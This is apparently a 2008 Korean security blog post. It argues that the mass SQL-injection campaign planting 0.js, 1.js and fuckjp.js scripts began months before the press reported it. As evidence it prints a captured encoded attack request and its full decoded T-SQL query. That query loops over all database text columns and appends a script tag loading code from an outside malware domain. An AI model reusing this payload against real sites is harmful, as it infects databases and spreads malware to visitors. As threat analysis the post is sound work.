대량 SQL injection 삽입 공격은 오래전부터 시작된 일

최근 국내 언론이 대량 SQL injection 삽입 공격에 대해 잘못된 정보를 기사화하고 있어, 정정할 필요가 있다는 생각에 글을 올립니다.

최근 1.js, 0.js, fuckjp.js 를 삽입하는 공격에 대해 국내 언론이 보안전문가들의 말을 인용하여 "이미 지난주부터 관련 해킹 이슈가 해외에서 터져 나와 보안 전문가들 사이에서 논의가 조금씩 되고 있는 상황" 라거나 "4월초부터 전세계 130만개 이상의 웹사이트에 악성코드를 유포하는 SQL인젝션 공격 코드가 숨어 있는 것이 밝혀져" 라고 적고 있습니다.

그러나, 기자들에게 이런 언급을 한 보안전문가들은 다른 보안 전문가들처럼 평소에 인터넷 트래픽을 꾸준히 모니터링 하거나, 해외 보안 동향 정보를 빠르게 수집하고 있지 않은 것 같습니다.


1) 보안 전문가들은 이미 1월에 파악했던 이슈
이 공격이 실제로 국내외 보안 전문가 사이에서 이슈화된 것은 올해 1월 7일부터입니다. 아파치 보안 모듈인 Mod Security 프로젝트의 블로그(http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html)에 공개되면서부터죠.

해당 블로그의 게시물을 보면 0.js 를 삽입하는 공격의 HTTP Request와 이 Request 를 디코딩한 SQL 쿼리가 나옵니다.

POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0x400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C004000430020007600610072006300680061007200280032003500350029002000440045004
... 생략 ...
- 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)

(암호화된 HTTP Request)

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM 
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C

(디코딩한 SQL 쿼리)

위의 쿼리는 DB 테이블에 0.js 를 삽입하는 쿼리이며 HTTP 메소드 중 Post 메소드를 이용하는 것을 알 수 있습니다.
202.101.162.73 은 Whois 로 조회해보면 중국쪽 IP 임을 알 수 있고, UserAgent 필드에 +Indy+Library 라는 문구가 적힌 것으로 보아, 해커가 사용하는 자동화된 SQL injection 툴이 OpenSource 네트워크 라이브러리인 Indy Project (http://www.indyproject.org/)의 라이브러리를 사용하는 것을 알 수 있습니다.

해당 라이브러리는 Delphi 로 작성되었으나, C#, C++, Delphi 에서 공통적으로 사용할 수 있으므로, 해커가 개발 언어로 어느 언어를 사용했는지 정확하게 말할 수는 없습니다. 다만 Indy Library 가 일반적으로 Delphi 개발자 사이에서 많이 사용된다는 점을 고려해볼 때, Delphi 로 작성되었을 가능성이 높다고 추측할 수 있겠습니다.

위의 HTTP Request 와 SQL 쿼리를, 1.js 를 이슈화한 F-Secure 블로그의 내용과 비교해 보도록 하겠습니다.

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300
4C0041005200450020004000540020007600610072006300
... 생략 ...

(F-Secure 에서 공개한 HTTP Request)

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b
... 생략 ...

(F-Secure 에서 공개한 디코딩한 SQL 쿼리)

암호화된 HTTP Request 와 디코딩한 SQL 쿼리가 거의 동일한 것을 알 수 있습니다. 사실은 0.js 를 삽입하는데 사용되는 URL 부분, 1.js 를 삽입하는데 사용되는 URL 부분만 차이가 있지 두 요청은 완전히 동일한 요청입니다.

이로써 우리는 올해 1월에 공개된 0.js 를 삽입하는 공격 기법과 올해 3월에 공개된 1.js 를 삽입하는 공격 기법은 동일한 공격 기법이며, 동일한 해킹툴이 사용되고 있다는 것을 알 수 있습니다.

2) fuckjp.js 삽입은 작년에 일본에서 유행하던 공격
놀라운 점은 SQL injection 을 이용해 fuckjp.js 를 삽입하는 문제로 일본이 고생하기 시작한 것이 작년 중순 경부터 라는 점입니다.
제 블로그를 꾸준히 읽어오신 분들은 아시겠지만, 작년 중순 경부터 일본 사이트에 대한 SQL injection 공격이 급격히 늘어났습니다. 이는 일본 IT Pro 의 관련 기사를 통해서도 확인하실 수 있습니다. 해당 기사에 나오는 Japan Security Operation Center 의 그래프를 보시면 아시겠지만, 2007년 중순경부터 SQL injection 공격이 급증하는 것을 보실 수 있습니다.

당시 공격 기법에 대한 상세 분석 자료가 외부에 알려지진 않았지만, 일본 내 보안전문가 중 한명이 '중국 해커들이 fuckjp 와 같이 일본을 비하하는 취지의 해킹을 시도하고 있어서 괴롭다'는 개인적인 이야기를 한 적이 있습니다. 물론 이 문제가 외부에 공개된 것은 일본에서도 올해 3월 경부터 입니다.

3) 결론
앞의 내용으로 미루어볼 때 중국 해커들이 2007년에 일본을 테스트베드로 삼아 자동화된 SQL injection 공격 도구를 개발한 후, 전세계 인터넷 사이트를 대상으로 본격적인 활용을 시작한게 2007년 12월~2008년 1월 사이라고 추측해볼 수 있습니다.
그간 피해 사이트들이 혼자서 쉬쉬하며 끙끙거리는 사이, 작금의 상황에까지 이르게 된 것이죠.


# 여담이지만, 악성코드를 호스팅하는 도메인 정보의 변천 과정, fuckjp.js -> 0.js -> 1.js 로의 변천 과정을 볼때, 해당 해킹툴은 아마 2번 정도의 메이저 버전 업그레이드, 혹은 3번 정도의 메이저 버전 업그레이드를 거쳤을 것입니다. 즉, 2.0 버전 혹은 3.0 버전일 확률이 높습니다. 아니면 말고~

# 본 자료는 보안 컨설팅 시 고객사 취약점 진단 용도, 혹은 교육적인 목적으로만 활용하시길 바라며, 그 이외의 악의적인 용도로 활용하시는 경우 관련법에 따라 처벌받을 수 있습니다. 본 자료를 악의적인 용도로 활용하여 발생하는 피해에 대해서는 본인이 직접 민사/형사 상의 책임을 져야 하며, 저는 공공의 이익을 위해 관련 정보만 제공한 것이므로 어떠한 책임도 지지 않습니다.

이글루스 가든 - professional secur...